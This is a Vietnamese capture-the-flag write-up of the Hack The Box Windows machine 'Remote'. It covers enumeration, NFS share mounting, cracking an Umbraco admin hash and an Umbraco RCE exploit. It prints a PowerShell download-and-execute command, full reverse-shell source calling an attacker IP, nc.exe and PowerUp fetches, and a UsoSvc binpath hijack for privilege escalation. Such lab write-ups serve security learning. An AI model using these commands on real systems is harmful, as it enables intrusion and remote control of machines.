0. Mở đầu
Đây là machine Windows đầu tiên mình chơi. Khá muộn ! Do vậy mình chọn một bài easy và được vote cao, cũng như liên quan tới CVE nhiều để dễ bề tiếp cận:
Và khi nhìn vào Matrix-rate thì có vẻ đây đúng là machine mình cần tìm. Cùng với đó là điểm được user đánh giá lên đến 4,2/5 sao.
Bài được ra mắt vào 21/3/2020, tính đến nay là hơn 2 tháng và là một machine khá cơ bản, thú vị !
Let’s start
1. Write-up
1.1 User Flag
Ngày đầu quét các thứ các thứ và tìm ra nơi có lỗi nhưng ko có credential nên cũng không làm gì được machine
Tìm các end-point với Gobuster:
gobuster dir -u 10.10.10.180 -w ~/MyComputer/Wordlist/common.txt -t 30 -x php,txt,html -l -e
Tại đây chúng ta có /install/ có HTTP status code 302, và khi truy cập thì redirect người dùng tới
http://10.10.10.180/umbraco/#/login
Ban đầu mình nghĩ đây là SQLi (again), tuy nhiên đó là 1 CMS có lỗ hổng RCE gần đây, yêu cầu đó là phải có credential (phải authen).
——Hết ngày đầu tiên, chuyển sang đọc trước khi làm——
Sau khi đọc qua sách vở, nghiên cứu và hỏi bạn có kinh nghiệm chơi Windows hơn, thì kết quả là đi quét lại Nmap và tìm hiểu các dịch vụ trên đó.
nmap -v -sS -sC -A -Pn -T5 -p- -oN remote.txt 10.10.10.180
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Home - Acme Widgets
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100005 1,2,3 2049/tcp mountd
| 100005 1,2,3 2049/tcp6 mountd
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
|_ 100024 1 2049/udp6 status
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49678/tcp open msrpc Microsoft Windows RPC
49679/tcp open msrpc Microsoft Windows RPC
49680/tcp open msrpc Microsoft Windows RPC
Service rpcbind trên port 111 có nfs. Chi tiết cách pentest tại đây. Với nfs – So powerful:
If you find the service NFS then probably you will be able to list and download(and maybe upload) files
Tại đây chúng ta có 3 tùy chọn với nmap script:
nfs-ls #List NFS exports and check permissions
nfs-showmount #Like showmount -e
nfs-statfs #Disk statistics and info from NFS share
Quét tiếp:
sudo nmap -sV --script=nfs-ls -p 111,2049 -oN ls.txt 10.10.10.180
PORT STATE SERVICE VERSION
111/tcp open rpcbind 2-4 (RPC #100000)
| nfs-ls: Volume /site_backups
| access: Read Lookup NoModify NoExtend NoDelete NoExecute
| PERMISSION UID GID SIZE TIME FILENAME
| rwx------ 4294967294 4294967294 4096 2020-05-27T09:29:19 .
| ?????????? ? ? ? ? ..
| rwx------ 4294967294 4294967294 64 2020-02-20T17:16:39 App_Browsers
| rwx------ 4294967294 4294967294 4096 2020-02-20T17:17:19 App_Data
| rwx------ 4294967294 4294967294 4096 2020-02-20T17:16:40 App_Plugins
| rwx------ 4294967294 4294967294 8192 2020-02-20T17:16:42 Config
| rwx------ 4294967294 4294967294 64 2020-02-20T17:16:40 aspnet_client
| rwx------ 4294967294 4294967294 49152 2020-02-20T17:16:42 bin
| rwx------ 4294967294 4294967294 64 2020-02-20T17:16:42 css
| rwx------ 4294967294 4294967294 152 2018-11-01T17:06:44 default.aspx
|_
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100005 1,2,3 2049/tcp mountd
| 100005 1,2,3 2049/tcp6 mountd
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
|_ 100024 1 2049/udp6 status
2049/tcp open mountd 1-3 (RPC #100005)
Tiếp tục quét:
sudo nmap -sV --script=nfs-showmount -p 111,2049 -oN ls.txt 10.10.10.180
PORT STATE SERVICE VERSION
111/tcp open rpcbind 2-4 (RPC #100000)
| nfs-showmount:
|_ /site_backups
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100005 1,2,3 2049/tcp mountd
| 100005 1,2,3 2049/tcp6 mountd
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
|_ 100024 1 2049/udp6 status
2049/tcp open mountd 1-3 (RPC #100005)
| nfs-showmount:
|_ /site_backups
Tạo 1 ổ trên local để mount data trong /site_backups:
sudo mkdir /mnt/machine_remote
Kéo file về theo đúng như hướng dẫn ở link trên:
sudo mount -t nfs -o vers=2 10.10.10.180:/site_backups /mnt/remote_machine -o nolock
Nội dung kéo về được:
Tại App_Data chúng ta có file Umbraco.sdf nằm lọt thỏm bên ngoài, ta copy nó ra một thư mục khác để dễ thao tác và tìm các từ khả nghi, như bao machine Linux khác.
strings Umbraco.sdf | grep từ khóa
Với strings Umbraco.sdf | grep hash
Administratoradminb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}en-USf8512f97-cab1-4a4b-a49f-0a2054c47a1d
adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-USfeb1a998-d3bf-406a-b30b-e269d7abdf50
adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-US82756c26-4321-4d27-b429-1b5c7c4f882f
smithsmith@htb.localjxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnIk9CiHts={"hashAlgorithm":"HMACSHA256"}smith@htb.localen-US7e39df83-5e64-4b93-9702-ae257a9b9749-a054-27463ae58b8e
ssmithsmith@htb.localjxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnIk9CiHts={"hashAlgorithm":"HMACSHA256"}smith@htb.localen-US7e39df83-5e64-4b93-9702-ae257a9b9749
ssmithssmith@htb.local8+xXICbPe7m5NQ22HfcGlg==RF9OLinww9rd2PmaKUpLteR6vesD2MtFaBKe1zL5SXA={"hashAlgorithm":"HMACSHA256"}ssmith@htb.localen-US3628acfb-a62c-4ab0-93f7-5ee9724c8d32
SHA1 có thể crack, với hash là
b8be16afba8c314ad33d812f22a04991b90e2aaa
sẽ tương đương với baconandcheese.
Google search sẽ ra lỗi RCE của CMS và có cả mã khai thác viết bằng Python tại đây
wget https://raw.githubusercontent.com/noraj/Umbraco-RCE/master/exploit.py -O umbraco_cve.py
chmod 775 umbraco_cve.py
Thêm enviroment cho file
Chạy thử đúng như ví dụ:
Lắng nghe trên máy local (ở ảnh thì mình dùng metasploit Handler):
rlwrap nc -nlvp 4443
./umbraco_cve.py -u admin@htb.local -p baconandcheese -i 'http://remote.htb' -c powershell.exe -a "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.14:8888/mini-reverse.ps1')"
Nội dung mini-reverse.ps1
$client = New-Object System.Net.Sockets.TCPClient('10.10.14.14',4443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
$sm=(New-Object Net.Sockets.TCPClient('10.10.14.14',4443)).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}
Link của mini-reverse.ps1 tại đây.
Exploit:
./umbraco_cve.py -u admin@htb.local -p baconandcheese -i 'http://10.10.10.180' -c powershell.exe -a "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.14:8888/mini-reverse.ps1')"
Kết quả:
Và lấy user Flag:
1.2 Root Flag
Việc leo Root được tiến hành sau nên IP local bị thay đổi !
Kéo script để Enum về machine và chạy:
Link script tại đây.
Command:
powershell -c "iex(new-object net.webclient).downloadstring('http://10.10.14.91:8888/PowerUp.ps1'); Invoke-AllChecks"
Kết quả:
Service exploit là UsoSvc.
Kéo nc về:
mkdir temp
invoke-webrequest -Uri http://10.10.14.91:8888/nc.exe -OutFile c:\temp\nc.exe
Lưu ý cần tạo /temp/ trước
Tại local tạo file .bat như sau:
Kéo nó lên machine:
invoke-webrequest -Uri http://10.10.14.91:8888/connect.bat -OutFile c:\temp\connect.bat
Gán binpath cho UsoSvc:
sc.exe config UsoSvc binpath= "C:\temp\connect.bat"
Listen trên máy local và chạy UsoSvc:
sc.exe start UsoSvc
Kết quả:
Lấy flag:
type C:\Users\Administrator\Desktop\root.txt
2. Kết luận
Một bài khởi động khá hay cho machine Windows, rate ổn và cách leo quyền không quá phức tạp, có nhiều hướng dẫn. Tuy nhiên cách làm trong bài viết này là tự custom một chút.
Happy hacking !
Leave a comment